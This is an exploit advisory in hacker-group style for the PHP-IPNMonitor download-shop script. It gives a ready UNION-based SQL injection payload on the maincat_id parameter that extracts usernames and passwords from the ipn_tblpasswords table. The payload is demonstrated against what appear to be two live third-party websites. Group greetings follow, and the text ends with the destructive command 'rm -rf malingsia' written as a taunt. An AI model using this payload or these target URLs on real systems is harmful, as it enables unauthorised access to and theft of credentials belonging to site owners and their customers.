[+] [+] SQL injection vulnerability [+] PHP-IPNMonitor - sell digital downloads online [+] Download : http://www.withinweb.com/phpipnmonitor/ [+] noname[at]antisecurity.org [+] Bugs = index.php?maincat_id= [+] exploit = -null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords-- [+] Example [+] : http://localhost/[patch]/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords-- [+] Demo [+] : http://www.beardsmith.com/ipnmonitor/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords-- [+] : http://www.earrelaphant.com/ipnmonitor/cart/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords-- [+] colek-colek [+] : Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org [+] Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd, pizzyroot, em|nem, s4va, kecemplungkalen, xr00tb0y [+] xshadow, Madonk, Tante Angela Chang, IrcMafia [+] Indonesian Coder [+] Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n [+] [+] crotz [+] : rm -rf malingsia [+]